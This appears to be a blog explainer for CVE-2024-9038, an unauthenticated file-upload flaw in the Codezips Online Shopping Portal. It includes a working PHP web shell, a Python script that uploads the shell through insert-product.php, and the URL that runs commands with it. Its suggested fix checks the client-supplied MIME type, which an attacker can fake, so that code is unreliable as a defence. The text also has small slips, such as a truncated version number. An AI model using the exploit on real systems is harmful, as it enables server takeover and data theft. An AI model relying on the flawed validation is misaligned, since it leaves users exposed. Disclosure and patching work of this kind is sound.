CVE-2024-9038 - Unrestricted File Upload Vulnerability in Codezips Online Shopping Portal 1. – Simple Explanation and How It Works

Recently, a new security flaw – CVE-2024-9038 – was found in Codezips Online Shopping Portal version 1.. This bug affects how files are uploaded through the insert-product.php file. If you are using this open source shopping system, or you’re curious about how unrestricted upload vulnerabilities work, this guide will break things down clearly.

What Is the Issue?

An attacker can upload any file they want – including malicious PHP scripts – by abusing how productimage1, productimage2, and productimage3 fields are handled when someone adds a product. There isn’t proper filtering or validation. No authentication is required, so any remote user can do this.

Why Is This Dangerous?

If an attacker can upload a PHP file, they can execute any command on your server. This can mean data theft, malware distribution, or even a complete takeover of your site.

Technical Details

Affected File:
insert-product.php (present in Codezips Online Shopping Portal 1.)

Vulnerable Parameters:

productimage3

Vulnerability:
Unrestricted file upload (no proper checks on file type, extension, or content).

References:
- Original NVD Listing
- VulDB Advisory

Sample Exploit (How It Could Be Done)

Here’s a simple example in Python using the popular requests library.

shell.php content

<?php system($_GET['cmd']); ?>

Python exploit script

import requests

url = "http://target-site.com/insert-product.php";
files = {
    'productimage1': ('shell.php', open('shell.php', 'rb'), 'application/x-php'),
    'productimage2': ('', b'', 'application/octet-stream'),
    'productimage3': ('', b'', 'application/octet-stream'),
}

data = {
    'productname': 'Test',
    'productprice': '100',
    'productdesc': 'Malicious Upload',
    # other required form fields if necessary
}

response = requests.post(url, files=files, data=data)
print(response.status_code)
print("If successful, shell.php is now on the server.")

After successful upload, attacker visits

http://target-site.com/productimages/shell.php?cmd=whoami

…and gains remote command execution.

> ⚠️ Note: File path for uploaded images may vary! Check the /productimages/ or relevant directory.

If you use this software

- Block .php/.phtml uploads: Only allow safe extensions (like .jpg, .png, .gif).

Check MIME types: Not just file extensions.

- Use server-side verification: Libraries like getimagesize() in PHP help confirm if a file is a real image.

Example PHP snippet to validate image

$allowed_types = ['image/jpeg', 'image/png', 'image/gif'];
if (in_array($_FILES['productimage1']['type'], $allowed_types)) {
    move_uploaded_file($_FILES['productimage1']['tmp_name'], $target);
} else {
    die('Invalid file type!');
}

Conclusion

CVE-2024-9038 is a serious vulnerability in Codezips’ shopping cart that allows remote attackers to upload and execute malicious files. If you’re running this software, secure your upload forms and restrict file types urgently!

Further Reading:
- OWASP File Upload Cheat Sheet
- Original NVD Listing

> Stay safe. Practice least privilege, keep your web applications up-to-date, and never trust user input—especially file uploads!


*This article is for educational purposes only. Do not use the information here to attack systems you do not own or have permission to test.*

Timeline

Published on: 09/20/2024 16:15:05 UTC
Last modified on: 09/27/2024 16:11:37 UTC